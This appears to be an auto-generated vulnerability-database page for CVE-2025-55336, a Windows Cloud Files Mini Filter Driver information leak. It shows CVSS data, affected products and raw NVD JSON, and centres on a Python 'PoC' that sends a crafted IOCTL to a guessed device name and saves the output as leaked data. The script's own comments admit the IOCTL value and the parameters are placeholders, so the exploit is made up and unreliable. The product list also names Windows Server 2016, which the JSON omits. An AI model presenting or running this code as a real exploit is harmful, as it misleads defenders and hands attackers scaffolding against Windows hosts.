Security Vulnerability Report
中文
CVE-2025-55336 CVSS 5.5 MEDIUM

CVE-2025-55336

Published: 2025-10-14 17:15:47
Last Modified: 2025-10-27 16:34:06

Description

Exposure of sensitive information to an unauthorized actor in Windows Cloud Files Mini Filter Driver allows an authorized attacker to disclose information locally.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (所有版本)
Windows 11 (所有版本)
Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55336 - Windows Cloud Files Mini Filter Driver Information Disclosure PoC # This is a conceptual PoC demonstrating the exploitation approach # NOTE: This vulnerability requires local access and low privileges import ctypes import struct import sys import os # Windows API constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 INVALID_HANDLE_VALUE = -1 # Device name for Cloud Files Mini Filter Driver communication DEVICE_NAME = r"\\.\\CloudFilesFilter" # IOCTL code for triggering information disclosure # The specific IOCTL value would need to be reverse-engineered from the driver IOCTL_CLOUDFILES_LEAK_INFO = 0x0022200C # Example IOCTL value kernel32 = ctypes.windll.kernel32 def exploit_cloud_files_info_disclosure(): """ Attempt to trigger information disclosure via Cloud Files Mini Filter Driver. This PoC demonstrates the conceptual approach to exploiting CVE-2025-55336. """ print("[*] CVE-2025-55336 PoC - Cloud Files Mini Filter Driver Info Disclosure") print("[*] Attempting to open device driver handle...") # Open a handle to the Cloud Files Mini Filter Driver hDevice = kernel32.CreateFileW( DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None ) if hDevice == INVALID_HANDLE_VALUE: error_code = kernel32.GetLastError() print(f"[-] Failed to open device. Error code: {error_code}") print("[-] This may require administrator privileges or driver may not be loaded") return False print("[+] Device handle obtained successfully") # Prepare input buffer - crafted to trigger the vulnerable code path input_buffer = ctypes.create_string_buffer(1024) output_buffer = ctypes.create_string_buffer(4096) bytes_returned = ctypes.c_ulong(0) # Fill input buffer with specific parameters to trigger info disclosure # The exact parameters depend on the driver's IOCTL handler implementation struct.pack_into('<I', input_buffer, 0, 0x00000001) # Command type struct.pack_into('<I', input_buffer, 4, 0x00000000) # Flags struct.pack_into('<Q', input_buffer, 8, 0x0000000000000000) # File handle / context print("[*] Sending crafted IOCTL request to trigger information disclosure...") # Send the IOCTL request result = kernel32.DeviceIoControl( hDevice, IOCTL_CLOUDFILES_LEAK_INFO, input_buffer, 1024, output_buffer, 4096, ctypes.byref(bytes_returned), None ) if result: print(f"[+] IOCTL request succeeded. Bytes returned: {bytes_returned.value}") # Analyze leaked data from output buffer leaked_data = output_buffer.raw[:bytes_returned.value] print(f"[+] Leaked data (hex): {leaked_data.hex()}") # Check if leaked data contains sensitive information # (file paths, user data, kernel pointers, etc.) if len(leaked_data) > 0: print("[!] Potential sensitive information leaked from driver!") # Save leaked data for analysis with open("leaked_data.bin", "wb") as f: f.write(leaked_data) print("[+] Leaked data saved to leaked_data.bin") else: error_code = kernel32.GetLastError() print(f"[-] IOCTL request failed. Error code: {error_code}") # Cleanup kernel32.CloseHandle(hDevice) print("[*] Device handle closed") return result def alternative_exploit_via_file_operations(): """ Alternative exploitation approach via file system operations. Targets the Cloud Files placeholder handling code path. """ print("\n[*] Attempting alternative exploitation via file operations...") # Create a symbolic link or use specific file paths to trigger # the vulnerable code path in Cloud Files Mini Filter Driver target_paths = [ os.path.expandvars(r"%LOCALAPPDATA%\\Microsoft\\OneDrive\\placeholder.dat"), os.path.expandvars(r"%USERPROFILE%\\Documents\\cloud_file_test.txt"), ] for path in target_paths: try: # Attempt to read file metadata that may trigger info disclosure attrs = ctypes.windll.kernel32.GetFileAttributesW(path) if attrs != INVALID_HANDLE_VALUE: print(f"[+] File attributes obtained for: {path}") except Exception as e: print(f"[-] Error accessing {path}: {e}") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-55336 - Windows Cloud Files Mini Filter Driver") print("Information Disclosure Vulnerability PoC") print("=" * 60) print("WARNING: This PoC is for educational/research purposes only.") print("Use only on systems you own or have authorization to test.") print("=" * 60) # Attempt primary exploitation if not exploit_cloud_files_info_disclosure(): # Fallback to alternative method alternative_exploit_via_file_operations() print("\n[*] PoC execution completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55336", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:46.960", "lastModified": "2025-10-27T16:34:06.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Windows Cloud Files Mini Filter Driver allows an authorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "B51B700D-B45F-4A8E-9F78-67A1282B3BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55336", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}